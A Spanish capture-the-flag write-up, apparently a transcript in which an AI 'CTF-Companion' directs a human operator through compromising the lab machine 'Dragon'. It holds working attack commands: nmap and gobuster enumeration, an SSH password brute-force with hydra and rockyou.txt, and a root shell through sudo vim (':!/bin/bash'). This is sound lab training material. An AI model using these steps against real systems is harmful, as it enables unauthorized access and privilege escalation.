Resolución del CTF: Dragon
Lo que hace único a este writeup es el método. Esta no es una resolución tradicional; es la transcripción completa de un experimento. En esta sesión, un Operador humano (el usuario) se encargó de ejecutar todos los comandos, mientras que una IA (bajo el rol de CTF-Companion) actuó como el Analista, interpretando cada resultado y decidiendo el siguiente paso a seguir.
Sigue nuestro camino, con sus aciertos, sus atascos y sus éxitos, desde el nmap inicial hasta la shell de root.
Fase 1: Reconocimiento y Enumeración
🤖 CTF-Companion (Inicio): [CTF-Companion ACTIVADO] Perfecto. Objetivo fijado: 192.168.1.38. Comenzamos con la fase de Reconocimiento y Escaneo. Por favor, ejecuta el siguiente comando y envíame la salida completa:
nmap -p- -sS --open --min-rate 5000 -T4 -n -v -oN all_ports.nmap 192.168.1.38👤 Operador (Salida de Nmap):
nmap -p- -sS --open --min-rate 5000 -T4 -n -v -oN all_ports.nmap 192.168.1.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 06:13 UTC
...
Discovered open port 80/tcp on 192.168.1.38
Discovered open port 22/tcp on 192.168.1.38
...
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:43:3B:40 (Oracle VirtualBox virtual NIC)
...
Nmap done: 1 IP address (1 host up) scanned in 1.07 seconds
🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Perfecto. Puertos Abiertos: 22/tcp (ssh) y 80/tcp (http). El puerto 80 es nuestro vector de ataque principal. Ahora necesitamos saber qué se está ejecutando exactamente. Por favor, ejecuta:
nmap -p 22,80 -sV -sC -oN targeted_scan.nmap 192.168.1.38👤 Operador (Salida de Nmap Detallado):
nmap -p 22,80 -sV -sC -oN targeted_scan.nmap 192.168.1.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-11 06:14 UTC
Nmap scan report for 192.168.1.38
Host is up (0.00022s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.13 (Ubuntu Linux; protocol 2.0)
...
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: La M\xC3\xA1quina del Drag\xC3\xB3n
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
...
Nmap done: 1 IP address (1 host up) scanned in 6.40 seconds🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Las versiones (OpenSSH 9.6p1 y Apache 2.4.58) son modernas, por lo que es improbable un exploit directo. El ataque debe estar en la aplicación web. Ahora debemos encontrar archivos y directorios ocultos.
gobuster dir -u http://192.168.1.38 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak -o gobuster.log👤 Operador (Salida de Gobuster):
┌─[user@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.1.38 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak -o gobuster.log
===============================================================
Gobuster v3.6
...
[+] Url: http://192.168.1.38
...
/index.html (Status: 200) [Size: 981]
/secret (Status: 301) [Size: 313] [--> http://192.168.1.38/secret/]
/server-status (Status: 403) [Size: 277]
...
===============================================================
Finished🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] /secret (Status: 301) ¡Bingo! El 301 confirma que es un directorio. Ahora necesitamos escanear dentro de /secret/.
gobuster dir -u http://192.168.1.38/secret/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak -o gobuster_secret.log👤 Operador (Salida de Gobuster 2):
┌─[user@parrot]─[~]
└──╼ $gobuster dir -u http://192.168.1.38/secret/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt,bak -o gobuster_secret.log
...
/index.html (Status: 200) [Size: 923]
...
===============================================================
Finished🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Este escaneo es un callejón sin salida automatizado. Sin embargo, no hemos mirado el contenido de las páginas. A menudo hay pistas en el código fuente HTML.
curl http://192.168.1.38👤 Operador (Salida de Curl 1):
$curl http://192.168.1.38
<!DOCTYPE html>
<html lang="es">
<head>
<title>La Máquina del Dragón</title>
...
</head>
<body>
<h1>🐉 Bienvenido a la Máquina del Dragón 🐉</h1>
<p>¿Serás capaz de conquistar sus secretos ocultos?</p>
<div class="hint">
Algunos caminos no están a simple vista...<br>
</div>
</body>
</html>🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] La página raíz no tiene pistas. Sin embargo, encontramos /secret/index.html. Vamos a examinar esa página.
curl http://192.168.1.38/secret/👤 Operador (Salida de Curl 2):
$curl http://192.168.1.38/secret/
<!DOCTYPE html>
<html lang="es">
<head>
<title>Secreto de Dragon Machine</title>
...
</head>
<body>
<div class="riddle">
<h1>Para Dragon:</h1>
<p>“En la sombra de la cueva, un guardián vigila sin ver,<br>
Su nombre es la clave, su fuerza, un misterio por resolver.<br>
Intenta sin pausa, las llaves del dragón,<br>
Y hallarás el secreto que abre la prisión.”</p>
</div>
</body>
</html>Fase 2: Atasco de Hipótesis (La Pista Falsa)
🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] ¡Esto es un rompecabezas!
- «Para Dragon:»: Esto es un indicador muy fuerte.
dragones probablemente un usuario. - El Acertijo: Un «guardián que vigila sin ver» es comúnmente una Gárgola.
- Credenciales Probables: Usuario:
dragon/ Contraseña:gargola.
Vamos a probar esto en el servicio SSH.
(Se le indica al Operador que use gargola como contraseña)
👤 Operador (Salida de SSH):
ssh [email protected]
...
[email protected]'s password:
Permission denied, please try again.
[email protected]'s password:🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Nuestra hipótesis de contraseña era incorrecta. Volvemos a la enumeración. Vamos a comprobar robots.txt y nikto.
curl http://192.168.1.38/robots.txt👤 Operador (Salida de Curl 3):
$curl http://192.168.1.38/robots.txt
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
...🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] 404 Not Found. robots.txt no existe. Pasemos a nikto
nikto -h http://192.168.1.38 -o nikto_scan.txt👤 Operador (Salida de Nikto):
$nikto -h http://192.168.1.38 -o nikto_scan.txt
- Nikto v2.5.0
...
+ Server: Apache/2.4.58 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present.
...
+ /secret/: This might be interesting.
...
+ 5 item(s) reported on remote host
...🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Nikto ha identificado algunas cabeceras faltantes, pero ningún vector de ataque directo.
[Atasco del Analista] (Aquí, la IA intenta varias hipótesis basadas en la pista «gargola» y «llaves del dragón», como curl ... /secret/gargola.txt, curl ... /secret/gargola/, y curl ... /id_rsa. Todas fallan con un 404 Not Found).
👤 Operador (Intervención Humana):
te has bloqueado. Tomate el tiempo que necesites y analiza todo lo que tienes, los tests que has realizado, los resultados y otras alternativas. NO te ofusques en una única vía … te voy a dar una pista, hydra
Fase 3: Explotación y Acceso Inicial
🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] Pista recibida: hydra. Tienes razón. La pista hydra cambia radicalmente nuestra estrategia. Significa que el método es fuerza bruta de contraseña.
- Servicio Objetivo:
ssh(Puerto 22). - Usuario Objetivo:
dragon. - Herramienta:
hydra. - Lista de Contraseñas:
rockyou.txt.
Vamos a proceder.
hydra -l dragon -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.38 -t 4👤 Operador (Salida de Hydra):
$hydra -l dragon -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.38
Hydra v9.4 ...
...
[DATA] attacking ssh://192.168.1.38:22/
[22][ssh] host: 192.168.1.38 login: dragon password: shadow
1 of 1 target successfully completed, 1 valid password found
...
Hydra ... finished at 2025-11-11 06:38:42🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] ¡Excelente! Hydra ha encontrado la contraseña.
- Usuario:
dragon - Contraseña:
shadow
La pista de la «gárgola» era una distracción. Ahora, vamos a iniciar sesión.
👤 Operador (Acceso SSH Exitoso):
$ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 24.04.2 LTS ...
...
Last login: Tue Aug 5 08:13:55 2025 from 192.168.18.16
dragon@TheHackersLabs-Dragon:~$
dragon@TheHackersLabs-Dragon:~$ ls -la
total 40
drwxr-x--- 5 dragon dragon 4096 ago 3 01:05 .
drwxr-xr-x 3 root root 4096 jul 31 20:39 ..
...
-rw-r--r-- 1 root root 33 ago 1 01:04 user.txt
dragon@TheHackersLabs-Dragon:~$Fase 4: Escalada de Privilegios
🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] ¡Acceso conseguido! Observación Crítica: user.txt es propiedad de root, pero los permisos (-rw-r--r--) significan que «otros» (nuestro usuario dragon) puede leerlo.
Vamos a leer la bandera y comenzar la escalada de privilegios comprobando los permisos de sudo.
cat user.txt
sudo -l(Se le indica al Operador que use shadow como contraseña para sudo)
👤 Operador (Flags de Usuario y Sudo):
dragon@TheHackersLabs-Dragon:~$ cat user.txt
e1f9c************
dragon@TheHackersLabs-Dragon:~$ sudo -l
Matching Defaults entries for dragon on TheHackersLabs-Dragon:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User dragon may run the following commands on TheHackersLabs-Dragon:
(ALL) NOPASSWD: /usr/bin/vim
dragon@TheHackersLabs-Dragon:~$🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS] ¡Bandera de usuario capturada! Vector de Escalada: (ALL) NOPASSWD: /usr/bin/vim.
Este es un vector clásico. El sistema nos permite ejecutar vim como root y sin contraseña. vim puede ejecutar comandos del sistema.
Paso 1: Ejecuta el siguiente comando para abrir vim como root:
sudo /usr/bin/vimPaso 2: Una vez dentro de la interfaz de vim, escribe exactamente lo siguiente y presiona Enter:
:!/bin/bashPaso 3: Por favor, envíame la salida de los siguientes comandos para confirmar:
whoami
id👤 Operador (Escalada Exitosa):
dragon@TheHackersLabs-Dragon:~$ sudo /usr/bin/vim
root@TheHackersLabs-Dragon:/home/dragon# whoami
root
root@TheHackersLabs-Dragon:/home/dragon# id
uid=0(root) gid=0(root) groups=0(root)
root@TheHackersLabs-Dragon:/home/dragon#🤖 CTF-Companion (Análisis y Siguiente Paso): [CTF-Companion ANÁLISIS]
whoami->rootid->uid=0(root)
¡Escalada de Privilegios Exitosa! Hemos obtenido una shell interactiva como root.
La misión final es encontrar y leer la bandera root.txt.
cd /root
ls -la
cat root.txt(El Operador combinó el último paso)
👤 Operador (Flag de Root):
root@TheHackersLabs-Dragon:/home/dragon# cat /root/root.txt
7a4d***************
root@TheHackersLabs-Dragon:/home/dragon#Fase 5: Misión Completada
🤖 CTF-Companion (Debriefing): [CTF-Companion MISIÓN COMPLETA] ¡Máquina comprometida!
Flag de Root: 7a4d
Hemos navegado con éxito todas las fases del pentest y hemos obtenido acceso completo de root mediante la colaboración Operador-Analista.
